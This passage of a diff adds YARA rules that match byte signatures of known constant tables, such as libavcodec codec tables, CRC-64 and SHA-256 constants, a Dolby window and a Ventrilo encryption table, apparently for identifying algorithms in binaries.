+	$a0 = { 060000000700000007000000080000000800000009000000090000000a0000000a0000000b0000000b0000000c0000000d0000000d0000000e0000000f0000001000000011000000120000001300000014000000150000001600000017000000190000001a0000001b0000001d0000001f00000020000000220000002400000026000000280000002b0000002d000000300000003200000035000000390000003c0000003f00000043000000470000004b00000050000000550000005a0000005f000000650000006c000000720000007a000000820000008a000000930000009d000000a8000000b3000000c0000000ce000000dd000000ed00000000010000000100001301000026010000390100004d01000060010000730100008601000099010000ad010000c0010000d3010000e6010000fa0100000d0200002002000033020000470200005a0200006d0200008002000094020000a7020000ba020000cd020000e1020000f4020000070300001a0300002e0300004103000054030000670300007b0300008e030000a1030000b4030000c8030000db030000ee0300000104000015040000280400003b0400004e0400006204000075040000880400009b040000af040000c2040000d5040000e8040000fc0400000f0500002205000035050000490500005c0500006f0500008205000096050000a9050000bc050000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc8_cnk_lost__32_big_2108_
+{
+strings:
+	$a0 = { 000000000000000000000001000000000000000300000002000000010000000000000007000000060000000500000004000000030000000200000001000000000000000f0000000e0000000d0000000c0000000b0000000a000000090000000800000007000000060000000500000004000000030000000200000001000000000000001f0000000000000000000000010000000200000006000000010000000b000000040000001c00000013000000090000003e00000032000000250000001700000008000000780000006700000055000000420000002e0000001900000003000000ec000000d4000000bb000000a1000000860000006a0000004d0000002f000000100000000000000000000000000000000000000000000000060000000c0000001d000000080000002c000000080000005b00000024000000e20000009400000039000001d000000158000000d0000000370000038c000002ce000001fc000001150000001800000704000005d80000049300000334000001ba0000002400000e7100000ca0000000000000000000000000000000000000000000000003000000010000001d0000003a000000020000002e000000b6000000110000013500000017000002ab000000e4000006b40000040c000000dc00000d130000089f0000036d00001d690000167e00000e960000059a00003b720000300500002339000014f30000051700007388000000000000000000000000000000000000000000000000000000020000000b00000008000000020000000400000032000000e8000002f90000002e0000044500000ef0000007d400001e880000129400000370000030830000192200007c8f000059f8000030760000ff0c0000c4a6000080180000301d0001d356000168490000ed600000000000000000000000000000000000000000000000000000000000000001000000040000002c0000002e00000032000000640000014c0000044500000c73000000b800000fa80000377c000016040000689800002c080000dc8b000075ad0001f23c00014c3400007caa00037bb60002405c0000c0740006f0910004c3e700022c300000000000000000000000000000000000000000000000000000000000000000000000000000001c00000008000000b6000000e80000014c00000298000006dd0000135000003408000003b000003b2c0000d130000039c8000165d00000425b0002b8080000aa440005f67800027322000deed800082f340000efa80017e039000ca42000000000000000000000000000000000000000000000000000000000000000000000000000000007000000130000005b00000011000002f900000445000006dd00000dba0000210a000055120000d8c2000013ee0000e51e00031ee6000084b60004c711000f7f190008295d001e1fd5001092f7003e81cf0026b1030007a0ab005f80e400000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000900000024000001350000002e00000c73000013500000210a000042140000972600016fe8000383d6000068f4000387da000c0c900000d3a1001052ba00387c1700169bec00672ee30025b0b200cc61b5005402600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000050000003e000000e20000001700000445000000b800003408000055120000972600012e4c00029e340006220a000e8afe000212d8000e1f68002ef309007f45c30037c1da00ce5dc600358ca9015b3d5b00279f10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000003200000094000002ab00000ef000000fa8000003b00000d8c200016fe800029e3400053c68000b5e720019e970003bfc48000a1bb000390eb900b8547c01f0165600be741c02f400c5004f3e2000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000002500000039000000e4000007d40000377c00003b2c000013ee000383d60006220a000b5e720016bce40030a654006ca29c00f6be4c002fcd0500e8218102d837d70796abf3028aacb800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000017000001d0000006b400001e88000016040000d1300000e51e000068f4000e8afe0019e9700030a65400614ca800cdef4401c4ad9003f47a9500dc9c1603b4d3ed0b4b7fe00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000008000001580000040c0000129400006898000039c800031ee6000387da000212d8003bfc48006ca29c00cdef44019bde8803608c18075506ad0031a2c303e676b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078000000d0000000dc0000037000002c08000165d0000084b6000c0c90000e1f68000a1bb000f6be4c01c4ad9003608c1806c118300e161edd1e47c1a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f000000670000003700000d13000030830000dc8b0000425b0004c7110000d3a1002ef30900390eb9002fcd0503f47a95075506ad0e161edd00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Ventrilo_UDP_status_packet_encryption_ventrilo_udp_encdata_data__8_byt_256_
+{
+strings:
+	$a0 = { 828b7f6890e04409193b8e5fc28238236ddb6249526e21df516c763786507d481f65e7526a88aac1322ff7544caa6d7e6da98c0d3fff6c09b3a5afdf9802b4be6d690d4273e43450073079412f083f4273a768faee880e6ea470742216ae3c8114a1da7fd37c487d3f46fb6d9225173626dbdf5a87916fd6cdd4ad4a29dd7d59bd153453b1d85011837966219e875b242f4fd77334a2f709d5d9429df815df0e10cc05043581b2d57ad2a0a57bb875d2350b398f1b440ece66871b64ace1ca67b4ce33db89fed88ecd5892415040cb08e115eef464fe1cee25e721e66cc6a62e5223a720d2d728072314243d45a5c790db77ddea38598932bc003a6d614edb29 }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dolby_win_256__flt64___64_lil_2048_
+{
+strings:
+	$a0 = { f0eeee195e2c433fe689ece96b984f3f1790e972b936563fec0647d30d1e5d3fd881f985aa4f623fc05ef9801866663f0f424318ffd86a3fbe9654161bae6f3f9334e0705975723f50dc717be749753f5ebc360a2b57783f38dbaa0b8e9f7b3fbbbe8d0575257f3fe679d3a0a075813fc9be2af4a879833f6dddc53a02a0853f9101de62dae9873f8c707f6f5e588a3f18745146baec8c3fcd53956d18a88f3fca7076dfd045913f8a04fc883ecc923f87e87270e767943fc1343c745c19963f915b4ae22ce1973f544e1845e6bf993ff116a22f14b69b3f78baa00840c49d3f17d13fd5f0ea9f3f4c98bd815515a13fe29e261af841a23f6721e9829f7ba33f300cc16e89c2a43f59914fd9f116a63f80f57bec1279a73f89a50be624e9a83fbb0a7ffd5d67aa3f2128404af2f3ab3ff2b32faa138fad3f8b119da8f138af3f20a8dab2dc78b03f5c883abfca5cb13fd57c94fa5648b23f9614440d943bb33fffe9b93b9336b43f9d84b35b6439b53fc2a8d0c91544b63f2b508b5fb456b73ffc6497694b71b83f9f34af9ee493b93f416ad11688beba3f6f3af5423cf1bb3f693e39e5052cbd3f45549109e86ebe3f61aaf7fee3b9bf3f997792a87c86c03fe9b569e11234c13f474f48a4b2e5c13f975a1002599bc23f48883b200255c33fcc612337a912c43fc4e2969048d4c43f64aabe86d999c53f7be550835463c63f50f215ffb030c73f60a0be81e501c83f5ccd0ca2e7d6c83fa9004f06acafc93f30852f65268cca3f8b5fd786496ccb3f485d65460750cc3f0757b9935037cd3f3b9d93751522ce3f5364080c4510cf3f2571a3c9e600d03f70d659334e7bd03f20e22a024ff7d03fddc94a08df74d13f3e8726adf3f3d13f28f693ef8174d23f977329687ef6d23f915cbc4bdd79d33faabb056e92fed33ff4626c449184d43fb89ff3e8cc0bd53f15a54d1d3894d53f73ba104ec51dd63f642b0e9666a8d63fe7e6c9c10d34d73f36ad1153acc0d73faa9cb284334ed83f26e04b4e94dcd83f7e333d68bf6bd93f88e5af4fa5fbd93f3bf2b84a368cda3f64c3926c621ddb3f9e1aed9919afdb3fec9b518d4b41dc3f0c669bdbe7d3dc3f611b80f8dd66dd3f02b5283b1dfadd3fd070d8e2948dde3f3e23a01b3421df3f312e1c03eab4df3fc3ab9dd65224e03fd95986142b6ee03fe469c942f5b7e03fb1304deba801e13f8a27c99c3d4be13f7de031edaa94e13f35e7237ce8dde13f1c9e4cf5ed26e23f1627d012b36fe23ff466ab9f2fb8e23f4033117a5b00e33f7fbac1952e48e33f58385bfea08fe33f5408a3d9aad6e33ff82bc669441de43f1c5b900f6663e43f1bb8984c08a9e43f734463c523eee43fe8357643b132e53ff64f62b7a976e53f9c69bd3a06bae53f124c0e12c0fce53ffc1ba9aed03ee63fce837bb03180e63f04dcc7e7dcc0e63fa093ce56cc00e73fe1216533fa3fe73fe4d079e8607ee73fffb78317fbbbe73ffc43de99c3f8e73f44b30f82b534e83f1cf4f91ccc6fe83f745bf5f202aae83f9cb3d4c855e3e83f572bd2a0c01be93fe3b664bb3f53e93f8e7efd97cf89e93f2200adf56cbfe93fc992afd314f4e93f9a07e171c427ea3fa82b1751795aea3f88fb6233318cea3f7f63381ceabcea3f14737c50a2ecea3f55f67956581beb3f3e73bcf50a49eb3fa095d136b975eb3f3f20f16262a1eb3f5d868b0306cceb3f665dbfe1a3f5eb3f3fe3b5053c1eec3f7ce2e6b5ce45ec3fb54a44765c6cec3f19e04d07e691ec3f81720d656cb6ec3f1f19fcc5f0d9ec3f0efdd09974fcec3fdc493a88f91ded3f31e8806f813eed3f52b317630e5eed3f03e716aaa27ced3fb08fa4bd409aed3ffed24a47ebb6ed3fe7f23c1fa5d2ed3f21f98b4a71eded3fee034cf95207ee3f4e38ab844d20ee3f0568fb6c6438ee3fef83af579b4fee3f6ffc4d0df665ee3f9e3a5977787bee3f0d652f9e2690ee3f66aae2a604a4ee3fc2520bd116b7ee3f93de947461c9ee3ff17e87ffe8daee3f0a37cff3b1ebee3fc9f901e5c0fbee3f9e1826761a0bef3f89597a57c319ef3f3d0a4144c027ef3f1b658f001635ef3f3e9a2257c941ef3f3acb3b17df4def3f564384125c59ef3fe02ffb1a4564ef3fe514ee009f6eef3f0632fd906e78ef3f30012d92b881ef3fe8ed05c4818aef3f9b57c3dcce92ef3fc0e39287a49aef3f2516e56207a2ef3fd715d0fefba8ef3f6e7485db86afef3fb6bbdb67acb5ef3f1c73ecff70bbef3fda3ac7ebd8c0ef3f95863a5ee8c5ef3f886cb273a3caef3feae82d310ecfef3fabdf4a832cd3ef3f8310693d02d7ef3f641be41893daef3f009d64b4e2ddef3f11554893f4e0ef3f3d32211dcce3ef3fce094b9d6ce6ef3f6bac9742d9e8ef3f88f4101f15ebef3f6757d02723edef3f9c6eeb3406efef3fefdd7401c1f0ef3f67e8902b56f2ef3f89f79c34c8f3ef3fde48698119f5ef3fb8e8835a4cf6ef3fd01494ec62f7ef3fe416c5485ff8ef3f149e3f6543f9ef3f1d96b01d11faef3f2a75dc33cafaef3f56f43d5070fbef3f9b23af0205fcef3f33c81bc389fcef3f19f43bf2fffcef3f91c655da68fdef3ff94705b0c5fdef3f2457099317feef3f98a3148f5ffeef3f34b6a19c9efeef3f7911c9a1d5feef3fe47a187305ffef3f79886ad42effef3fb797bd7952ffef3f5e5e090871ffef3f2e5112168bffef3ffa283a2da1ffef3f51db4ccab3ffef3f1b69495ec3ffef3fe2f2254fd0ffef3f3d908ef8daffef3f38759eace3ffef3f29fe92b4eaffef3f5e477851f0ffef3f0e03cfbcf4ffef3f61532b29f8ffef3f187cccc2faffef3f052b2db0fcffef3fa05e8c12feffef3f74c36e06ffffef3f679518a4ffffef3f }
+
+condition:
+	$a0
+}
+
+	
+rule gc_pqf_common_c_a_half__flt64___64_big_384_
+{
+strings:
+	$a0 = { 3ee999891fe81e5d3ef219bab1f0f8d93ee9cb8ffff546dfbee6b86dcd24568ebf0e4a17f029763cbf20bb2530753474bf2b7abfd28dadbebf3275956c5f059bbf3478570a562eccbf3185fab009d3efbf1f531f8750e4e13f224dec575aba1e3f40030556d0cf323f4c85d52e1e0ce23f5393f44e2d63393f5626939c90833d3f543a6b695bda0d3f49374d9514174cbf0b63dc50ad10dcbf52de330ee6a76abf63485ffa234083bf6be14361d77954bf70654c3c6aadc3bf6fbd80aa02b5e9bf67335c0d4ca0b8bf4bdd944e9d92b73f5ee5183dc261d83f745a3e012c1b053f7ff8d6b526884e3f83df0e8f1ec23e3f8478ce168e6cdf3f80cc2d4cd70b603f710e7ce1d3276abf5e169c36e579c7bf8282c518d59558bf90a19e816e6c58bf9677525d0de6e4bf991f39d62893e4bf972244dccab5cdbf8ef85165c6b88abf5d71e209aef8733f914f20df774b613fa44fee0678cf653fb082412c87cf873fb6bee011a9a0dc3fbc30627606fbf23fc01bfc0b16f5383fc12e3ffd8c68e4 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ISO_poly_0xB000000000000001__64_big_refl_False_
+{
+strings:
+	$a0 = { 0000000000000000b000000000000001d00000000000000360000000000000021000000000000007a000000000000006c0000000000000047000000000000005200000000000000e900000000000000ff00000000000000d400000000000000c30000000000000098000000000000008e00000000000000a500000000000000b400000000000001cf00000000000001d900000000000001f200000000000001e500000000000001be00000000000001a800000000000001830000000000000196000000000000012d000000000000013b00000000000001100000000000000107000000000000015c000000000000014a000000000000016100000000000001780000000000000383000000000000039500000000000003be00000000000003a900000000000003f200000000000003e400000000000003cf00000000000003da00000000000003610000000000000377000000000000035c000000000000034b00000000000003100000000000000306000000000000032d000000000000033c00000000000002470000000000000251000000000000027a000000000000026d00000000000002360000000000000220000000000000020b000000000000021e00000000000002a500000000000002b30000000000000298000000000000028f00000000000002d400000000000002c200000000000002e900000000000002fb00000000000007100000000000000706000000000000072d000000000000073a00000000000007610000000000000777000000000000075c000000000000074900000000000007f200000000000007e400000000000007cf00000000000007d80000000000000783000000000000079500000000000007be00000000000007af00000000000006d400000000000006c200000000000006e900000000000006fe00000000000006a500000000000006b30000000000000698000000000000068d00000000000006360000000000000620000000000000060b000000000000061c00000000000006470000000000000651000000000000067a00000000000006630000000000000498000000000000048e00000000000004a500000000000004b200000000000004e900000000000004ff00000000000004d400000000000004c1000000000000047a000000000000046c00000000000004470000000000000450000000000000040b000000000000041d00000000000004360000000000000427000000000000055c000000000000054a00000000000005610000000000000576000000000000052d000000000000053b0000000000000510000000000000050500000000000005be00000000000005a80000000000000583000000000000059400000000000005cf00000000000005d900000000000005f200000000000005ed0000000000000e360000000000000e200000000000000e0b0000000000000e1c0000000000000e470000000000000e510000000000000e7a0000000000000e6f0000000000000ed40000000000000ec20000000000000ee90000000000000efe0000000000000ea50000000000000eb30000000000000e980000000000000e890000000000000ff20000000000000fe40000000000000fcf0000000000000fd80000000000000f830000000000000f950000000000000fbe0000000000000fab0000000000000f100000000000000f060000000000000f2d0000000000000f3a0000000000000f610000000000000f770000000000000f5c0000000000000f450000000000000dbe0000000000000da80000000000000d830000000000000d940000000000000dcf0000000000000dd90000000000000df20000000000000de70000000000000d5c0000000000000d4a0000000000000d610000000000000d760000000000000d2d0000000000000d3b0000000000000d100000000000000d010000000000000c7a0000000000000c6c0000000000000c470000000000000c500000000000000c0b0000000000000c1d0000000000000c360000000000000c230000000000000c980000000000000c8e0000000000000ca50000000000000cb20000000000000ce90000000000000cff0000000000000cd40000000000000cc6000000000000092d000000000000093b00000000000009100000000000000907000000000000095c000000000000094a0000000000000961000000000000097400000000000009cf00000000000009d900000000000009f200000000000009e500000000000009be00000000000009a80000000000000983000000000000099200000000000008e900000000000008ff00000000000008d400000000000008c30000000000000898000000000000088e00000000000008a500000000000008b0000000000000080b000000000000081d00000000000008360000000000000821000000000000087a000000000000086c0000000000000847000000000000085e0000000000000aa50000000000000ab30000000000000a980000000000000a8f0000000000000ad40000000000000ac20000000000000ae90000000000000afc0000000000000a470000000000000a510000000000000a7a0000000000000a6d0000000000000a360000000000000a200000000000000a0b0000000000000a1a0000000000000b610000000000000b770000000000000b5c0000000000000b4b0000000000000b100000000000000b060000000000000b2d0000000000000b380000000000000b830000000000000b950000000000000bbe0000000000000ba90000000000000bf20000000000000be40000000000000bcf0000000000000bd }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_tab_exp2_G729_BITEXACT__16_lil_66_
+{
+strings:
+	$a0 = { 00406741d5424c44cb455247e2487a4a1c4cc74d7b4f3851ff52d154ac569258825a7e5c845e9660b462dd6412675469a26bfe6d6670dd726075f277937a427dff7f }
+
+condition:
+	$a0
+}
+
+	
+rule ARGB_default_palette__32_lil_1024_
+{
+strings:
+	$a0 = { 3f0001ff3f0003ff3e0106ff3d0209ff3d020bff3c030eff3b0410ff3b0413ff3a0515ff3a0618ff39061bff38071dff380820ff370822ff360925ff360a27ff350a2aff350b2dff340c2fff330c32ff330d34ff320e37ff310e39ff310f3cff30103fff301041ff2f1043ff2e1146ff2e1248ff2d124bff2c134dff2c1450ff2b1452ff2b1555ff2a1657ff29165aff29175cff28175fff271861ff271964ff261966ff261a69ff251b6bff241b6eff241c70ff231d73ff221d75ff221e78ff211e7aff211f7dff20207fff1f2081ff1f2183ff1e2285ff1d2287ff1d2389ff1c248bff1c258dff1b258fff1a2691ff1a2793ff192895ff182897ff182999ff172a9bff172b9dff162c9fff152ca1ff152da3ff142ea5ff132fa7ff132fa9ff1230abff1131adff1132afff1032b1ff1033b3ff0f34b5ff0e34b7ff0e35b9ff0d36bbff0c37bdff0c37bfff0b38c1ff0b39c3ff0a3ac5ff093ac7ff093bc9ff083ccbff083dceff073dd0ff063ed2ff063fd4ff0540d6ff0440d8ff0441daff0342dcff0343deff0243e0ff0144e2ff0145e4ff0046e6ff0047e6ff0048e6ff004ae6ff014be7ff014de7ff024fe7ff0250e7ff0252e8ff0353e8ff0355e8ff0457e8ff0458e9ff045ae9ff055be9ff055deaff065feaff0660eaff0662eaff0763ebff0765ebff0867ebff0868ecff086aecff096becff096decff0a6fedff0a70edff0a72edff0b74eeff0b75eeff0c77eeff0c78eeff0c7aefff0d7cefff0d7defff0e7fefff0e80f0ff0e82f0ff0f84f0ff0f85f1ff1087f1ff1088f1ff108af1ff118bf2ff118cf2ff118ef2ff128ff2ff1291f3ff1292f3ff1394f3ff1395f4ff1497f4ff1498f4ff149af4ff159bf5ff159df5ff159ef5ff16a0f6ff16a1f6ff17a3f6ff17a4f6ff17a6f7ff18a7f7ff18a9f7ff18aaf8ff19acf8ff19aef8ff19aff8ff1ab1f9ff1ab2f9ff1bb4f9ff1bb5faff1bb7faff1cb8faff1cbafaff1cbbfbff1dbdfbff1dbefbff1ec0fcff1ec1fcff1ec3fcff1fc4fcff1fc6fdff1fc7fdff20c9fdff20cafeff21ccfeff21cdfeff21cffeff22d0ffff21d0ffff20d1ffff20d2ffff1fd3ffff1fd3ffff1ed4ffff1ed5ffff1dd6ffff1dd6ffff1cd7ffff1cd8ffff1bd9ffff1ad9ffff1adaffff19dbffff19dcffff18dcffff18ddffff17deffff17dfffff16e0ffff16e0ffff15e1ffff14e2ffff14e3ffff13e3ffff13e4ffff12e5ffff12e6ffff11e6ffff11e7ffff10e7ffff10e8ffff0fe9ffff0feaffff0eeaffff0eebffff0decffff0dedffff0cedffff0beeffff0befffff0af0ffff0af0ffff09f1ffff09f2ffff08f2ffff08f3ffff07f4ffff07f5ffff06f5ffff06f6ffff05f7ffff05f8ffff04f8ffff04f9ffff03faffff03faffff02fbffff02fcffff01fdffff01fdffff00feffff00ffffff }
+
+condition:
+	$a0
+}
+
+	
+rule SHA256_Hash_constant_words_K__0x428a2f98___32_big_256_
+{
+strings:
+	$a0 = { 428a2f9871374491b5c0fbcfe9b5dba53956c25b59f111f1923f82a4ab1c5ed5d807aa9812835b01243185be550c7dc372be5d7480deb1fe9bdc06a7c19bf174e49b69c1efbe47860fc19dc6240ca1cc2de92c6f4a7484aa5cb0a9dc76f988da983e5152a831c66db00327c8bf597fc7c6e00bf3d5a7914706ca63511429296727b70a852e1b21384d2c6dfc53380d13650a7354766a0abb81c2c92e92722c85a2bfe8a1a81a664bc24b8b70c76c51a3d192e819d6990624f40e3585106aa07019a4c1161e376c082748774c34b0bcb5391c0cb34ed8aa4a5b9cca4f682e6ff3748f82ee78a5636f84c878148cc7020890befffaa4506cebbef9a3f7c67178f2 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ASF_asf_header__8_byt_16_
+{
+strings:
+	$a0 = { 3026b2758e66cf11a6d900aa0062ce6c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_422_525__16_lil_5400_
+{
+strings:
+	$a0 = { 480c24246c3000009018480d24256c3100019019480e24266c320002901a4c0e282670320402941a4c0d28257031040194194c0c2824703004009418500c2c24743008009818500d2c25743108019819500e2c2674320802981a540e302678320c029c1a540d302578310c019c19540c302478300c009c18580c34247c301000a018580d34257c311001a019580e34267c321002a01a5c0e382680321402a41a5c0d382580311401a4195c0c382480301400a418600c3c2484301800a818600d3c2584311801a819600e3c2684321802a81a640e402688321c02ac1a640d402588311c01ac19640c402488301c00ac18680c44248c302000b018680d44258c312001b019680e44268c322002b01a4812242a6c360006901e4813242b6c370007901f4814242c6c38000890204c14282c7038040894204c13282b70370407941f4c12282a70360406941e50122c2a74360806981e50132c2b74370807981f50142c2c7438080898205414302c78380c089c205413302b78370c079c1f5412302a78360c069c1e5812342a7c361006a01e5813342b7c371007a01f5814342c7c381008a0205c14382c80381408a4205c13382b80371407a41f5c12382a80361406a41e60123c2a84361806a81e60133c2b84371807a81f60143c2c84381808a8206414402c88381c08ac206413402b88371c07ac1f6412402a88361c06ac1e6812442a8c362006b01e6813442b8c372007b01f6814442c8c382008b020481824306c00000c9024481924316c01000d9025481a24326c02000e90264c1a28327002040e94264c1928317001040d94254c1828307000040c942450182c307400080c982450192c317401080d9825501a2c327402080e9826541a303278020c0e9c265419303178010c0d9c255418303078000c0c9c24581834307c00100ca024581934317c01100da025581a34327c02100ea0265c1a38328002140ea4265c1938318001140da4255c1838308000140ca42460183c308400180ca82460193c318401180da825601a3c328402180ea826641a403288021c0eac266419403188011c0dac256418403088001c0cac24681844308c00200cb024681944318c01200db025681a44328c02200eb026481e24366c060012902a481f24376c070013902b482024386c080014902c4c20283870080414942c4c1f283770070413942b4c1e283670060412942a501e2c3674060812982a501f2c3774070813982b50202c3874080814982c5420303878080c149c2c541f303778070c139c2b541e303678060c129c2a581e34367c061012a02a581f34377c071013a02b582034387c081014a02c5c20383880081414a42c5c1f383780071413a42b5c1e383680061412a42a601e3c3684061812a82a601f3c3784071813a82b60203c3884081814a82c6420403888081c14ac2c641f403788071c13ac2b641e403688061c12ac2a681e44368c062012b02a681f44378c072013b02b682044388c082014b02c482424006c0c00189030482524016c0d00199031482624026c0e001a90324c262802700e041a94324c252801700d041994314c242800700c0418943050242c00740c0818983050252c01740d0819983150262c02740e081a983254263002780e0c1a9c3254253001780d0c199c3154243000780c0c189c30582434007c0c1018a030582534017c0d1019a031582634027c0e101aa0325c263802800e141aa4325c253801800d1419a4315c243800800c1418a43060243c00840c1818a83060253c01840d1819a83160263c02840e181aa83264264002880e1c1aac3264254001880d1c19ac3164244000880c1c18ac30682444008c0c2018b030682544018c0d2019b031682644028c0e201ab032482a24066c12001e9036482b24076c13001f9037482c24086c14002090384c2c28087014042094384c2b28077013041f94374c2a28067012041e9436502a2c067412081e9836502b2c077413081f9837502c2c08741408209838542c300878140c209c38542b300778130c1f9c37542a300678120c1e9c36582a34067c12101ea036582b34077c13101fa037582c34087c141020a0385c2c380880141420a4385c2b38078013141fa4375c2a38068012141ea436602a3c068412181ea836602b3c078413181fa837602c3c0884141820a838642c400888141c20ac38642b400788131c1fac37642a400688121c1eac36682a44068c12201eb036682b44078c13201fb037682c44088c142020b0384830240c6c18002490004831240d6c19002590014832240e6c1a002690024c32280e701a042694024c31280d7019042594014c30280c70180424940050302c0c74180824980050312c0d74190825980150322c0e741a082698025432300e781a0c269c025431300d78190c259c015430300c78180c249c005830340c7c181024a0005831340d7c191025a0015832340e7c1a1026a0025c32380e801a1426a4025c31380d80191425a4015c30380c80181424a40060303c0c84181824a80060313c0d84191825a80160323c0e841a1826a8026432400e881a1c26ac026431400d88191c25ac016430400c88181c24ac006830440c8c182024b0006831440d8c192025b0016832440e8c1a2026b002483624126c1e002a9006483724136c1f002b9007483824146c20002c90084c3828147020042c94084c372813701f042b94074c362812701e042a940650362c12741e082a980650372c13741f082b980750382c147420082c98085438301478200c2c9c0854373013781f0c2b9c0754363012781e0c2a9c06583634127c1e102aa006583734137c1f102ba007583834147c20102ca0085c3838148020142ca4085c373813801f142ba4075c363812801e142aa40660363c12841e182aa80660373c13841f182ba80760383c148420182ca8086438401488201c2cac0864374013881f1c2bac0764364012881e1c2aac06683644128c1e202ab006683744138c1f202bb007683844148c20202cb008480024186c240030900c480124196c250031900d4802241a6c260032900e4c02281a70260432940e4c01281970250431940d4c00281870240430940c50002c1874240830980c50012c1974250831980d50022c1a74260832980e5402301a78260c329c0e5401301978250c319c0d5400301878240c309c0c580034187c241030a00c580134197c251031a00d5802341a7c261032a00e5c02381a80261432a40e5c01381980251431a40d5c00381880241430a40c60003c1884241830a80c60013c1984251831a80d60023c1a84261832a80e6402401a88261c32ac0e6401401988251c31ac0d6400401888241c30ac0c680044188c242030b00c680144198c252031b00d6802441a8c262032b00e4806241e6c2a003690124807241f6c2b00379013480824206c2c003890144c082820702c043894144c07281f702b043794134c06281e702a0436941250062c1e742a0836981250072c1f742b0837981350082c20742c0838981454083020782c0c389c145407301f782b0c379c135406301e782a0c369c125806341e7c2a1036a0125807341f7c2b1037a013580834207c2c1038a0145c083820802c1438a4145c07381f802b1437a4135c06381e802a1436a41260063c1e842a1836a81260073c1f842b1837a81360083c20842c1838a81464084020882c1c38ac146407401f882b1c37ac136406401e882a1c36ac126806441e8c2a2036b0126807441f8c2b2037b013680844208c2c2038b014480f24276c330003901b481024286c340004901c481124296c350005901d4c11282970350405941d4c10282870340404941c4c0f282770330403941b500f2c2774330803981b50102c2874340804981c50112c2974350805981d5411302978350c059c1d5410302878340c049c1c540f302778330c039c1b580f34277c331003a01b581034287c341004a01c581134297c351005a01d5c11382980351405a41d5c10382880341404a41c5c0f382780331403a41b600f3c2784331803a81b60103c2884341804a81c60113c2984351805a81d6411402988351c05ac1d6410402888341c04ac1c640f402788331c03ac1b680f44278c332003b01b681044288c342004b01c681144298c352005b01d4815242d6c39000990214816242e6c3a000a90224817242f6c3b000b90234c17282f703b040b94234c16282e703a040a94224c15282d70390409942150152c2d74390809982150162c2e743a080a982250172c2f743b080b98235417302f783b0c0b9c235416302e783a0c0a9c225415302d78390c099c215815342d7c391009a0215816342e7c3a100aa0225817342f7c3b100ba0235c17382f803b140ba4235c16382e803a140aa4225c15382d80391409a42160153c2d84391809a82160163c2e843a180aa82260173c2f843b180ba8236417402f883b1c0bac236416402e883a1c0aac226415402d88391c09ac216815442d8c392009b0216816442e8c3a200ab0226817442f8c3b200bb023481b24336c03000f9027481c24346c0400109028481d24356c05001190294c1d28357005041194294c1c28347004041094284c1b28337003040f9427501b2c337403080f9827501c2c34740408109828501d2c35740508119829541d303578050c119c29541c303478040c109c28541b303378030c0f9c27581b34337c03100fa027581c34347c041010a028581d34357c051011a0295c1d383580051411a4295c1c383480041410a4285c1b38338003140fa427601b3c338403180fa827601c3c3484041810a828601d3c3584051811a829641d403588051c11ac29641c403488041c10ac28641b403388031c0fac27681b44338c03200fb027681c44348c042010b028681d44358c052011b029482124396c090015902d4822243a6c0a0016902e4823243b6c0b0017902f4c23283b700b0417942f4c22283a700a0416942e4c21283970090415942d50212c3974090815982d50222c3a740a0816982e50232c3b740b0817982f5423303b780b0c179c2f5422303a780a0c169c2e5421303978090c159c2d582134397c091015a02d5822343a7c0a1016a02e5823343b7c0b1017a02f5c23383b800b1417a42f5c22383a800a1416a42e5c21383980091415a42d60213c3984091815a82d60223c3a840a1816a82e60233c3b840b1817a82f6423403b880b1c17ac2f6422403a880a1c16ac2e6421403988091c15ac2d682144398c092015b02d6822443a8c0a2016b02e6823443b8c0b2017b02f482724036c0f001b9033482824046c10001c9034482924056c11001d90354c2928057011041d94354c2828047010041c94344c272803700f041b943350272c03740f081b983350282c047410081c983450292c057411081d98355429300578110c1d9c355428300478100c1c9c3454273003780f0c1b9c33582734037c0f101ba033582834047c10101ca034582934057c11101da0355c2938058011141da4355c2838048010141ca4345c273803800f141ba43360273c03840f181ba83360283c048410181ca83460293c058411181da8356429400588111c1dac356428400488101c1cac3464274003880f1c1bac33682744038c0f201bb033682844048c10201cb034682944058c11201db035482d24096c1500219039482e240a6c160022903a482f240b6c170023903b4c2f280b70170423943b4c2e280a70160422943a4c2d2809701504219439502d2c09741508219839502e2c0a74160822983a502f2c0b74170823983b542f300b78170c239c3b542e300a78160c229c3a542d300978150c219c39582d34097c151021a039582e340a7c161022a03a582f340b7c171023a03b5c2f380b80171423a43b5c2e380a80161422a43a5c2d380980151421a439602d3c0984151821a839602e3c0a84161822a83a602f3c0b84171823a83b642f400b88171c23ac3b642e400a88161c22ac3a642d400988151c21ac39682d44098c152021b039682e440a8c162022b03a682f440b8c172023b03b4833240f6c1b00279003483424106c1c00289004483524116c1d002990054c352811701d042994054c342810701c042894044c33280f701b0427940350332c0f741b0827980350342c10741c0828980450352c11741d0829980554353011781d0c299c0554343010781c0c289c045433300f781b0c279c035833340f7c1b1027a003583434107c1c1028a004583534117c1d1029a0055c353811801d1429a4055c343810801c1428a4045c33380f801b1427a40360333c0f841b1827a80360343c10841c1828a80460353c11841d1829a80564354011881d1c29ac0564344010881c1c28ac046433400f881b1c27ac036833440f8c1b2027b003683444108c1c2028b004683544118c1d2029b005483924156c21002d9009483a24166c22002e900a483b24176c23002f900b4c3b28177023042f940b4c3a28167022042e940a4c3928157021042d940950392c157421082d9809503a2c167422082e980a503b2c177423082f980b543b301778230c2f9c0b543a301678220c2e9c0a5439301578210c2d9c09583934157c21102da009583a34167c22102ea00a583b34177c23102fa00b5c3b38178023142fa40b5c3a38168022142ea40a5c3938158021142da40960393c158421182da809603a3c168422182ea80a603b3c178423182fa80b643b401788231c2fac0b643a401688221c2eac0a6439401588211c2dac09683944158c21202db009683a44168c22202eb00a683b44178c23202fb00b4803241b6c270033900f4804241c6c2800349010